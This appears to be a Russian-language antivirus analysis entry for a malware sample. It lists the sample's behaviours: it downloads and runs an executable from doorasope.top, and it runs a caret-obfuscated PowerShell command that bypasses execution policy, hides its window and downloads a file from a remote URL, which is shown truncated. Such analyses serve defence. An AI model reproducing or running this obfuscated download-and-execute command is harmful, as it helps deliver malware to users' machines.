Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoWerS^he^Ll^.exe -E^x^E^Cu^TI^ON^P^Ol^IC^y ^BYpA^Ss^ ^-noPR^ofILE ^-^wiN^DOw^S^T^Y^L^e ^Hi^Dd^eN^ (nE^W-oBjE^CT ^SyS^T^E^M.NeT.^WEBCliEN^t^).^dO^wN^Loa^dF^il^E('http://www...
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoWerS^he^Ll^.exe -E^x^E^Cu^TI^ON^P^Ol^IC^y ^BYpA^Ss^ ^-noPR^ofILE ^-^wiN^DOw^S^T^Y^L^e ^Hi^Dd^eN^ (nE^W-oBjE^CT ^SyS^T^E^M.NeT.^WEBCliEN^t^).^dO^wN^Loa^dF^il^E('http://www...' (со скрытым окном)
